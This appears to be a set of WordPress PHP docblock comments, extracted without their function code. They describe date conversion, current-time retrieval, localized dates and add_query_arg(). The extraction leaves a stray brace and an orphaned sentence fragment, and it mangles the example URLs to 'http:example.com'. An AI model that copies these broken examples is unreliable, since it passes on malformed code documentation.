*
 * Converts given MySQL date string into a different format.
 *
 *  - `$format` should be a PHP date format string.
 *  - 'U' and 'G' formats will return an integer sum of timestamp with timezone offset.
 *  - `$date` is expected to be local time in MySQL format (`Y-m-d H:i:s`).
 *
 * Historically UTC time could be passed to the function to produce Unix timestamp.
 *
 * If `$translate` is true then the given date and format string will
 * be passed to `wp_date()` for translation.
 *
 * @since 0.71
 *
 * @param string $format    Format of the date to return.
 * @param string $date      Date string to convert.
 * @param bool   $translate Whether the return date should be translated. Default true.
 * @return string|int|false Integer if `$format` is 'U' or 'G', string otherwise.
 *                          False on failure.

}

*
 * Retrieves the current time based on specified type.
 *
 *  - The 'mysql' type will return the time in the format for MySQL DATETIME field.
 *  - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp
 *    and timezone offset, depending on `$gmt`.
 *  - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
 *
 * If `$gmt` is a truthy value then both types will use GMT time, otherwise the
 * output is adjusted with the GMT offset for the site.
 *
 * @since 1.0.0
 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned.
 *
 * @param string   $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U',
 *                       or PHP date format string (e.g. 'Y-m-d').
 * @param int|bool $gmt  Optional. Whether to use GMT timezone. Default false.
 * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise.

 * otherwise falls back to a manual UTC ± offset.
 *

 * Retrieves the date in localized format, based on a sum of Unix timestamp and
 * timezone offset in seconds.
 *
 * If the locale specifies the locale month and weekday, then the locale will
 * take over the format for the date. If it isn't, then the date format string
 * will be used instead.
 *
 * Note that due to the way WP typically generates a sum of timestamp and offset
 * with `strtotime()`, it implies offset added at a _current_ time, not at the time
 * the timestamp represents. Storing such timestamps or calculating them differently
 * will lead to invalid output.

 * Retrieves a modified URL query string.
 *
 * You can rebuild the URL and append query variables to the URL query by using this function.
 * There are two ways to use this function; either a single key and value, or an associative array.
 *
 * Using a single key and value:
 *
 *     add_query_arg( 'key', 'value', 'http:example.com' );
 *
 * Using an associative array:
 *
 *     add_query_arg( array(
 *         'key1' => 'value1',
 *         'key2' => 'value2',
 *     ), 'http:example.com' );
 *
 * Omitting the URL from either use results in the current URL being used
 * (the value of `$_SERVER['REQUEST_URI']`).
 *
 * Values are expected to be encoded appropriately with urlencode() or rawurlencode().
 *
 * Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
 *
 * Important: The return value of add_query_arg() is not escaped by default. Output should be
 * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
 * (XSS) attacks.
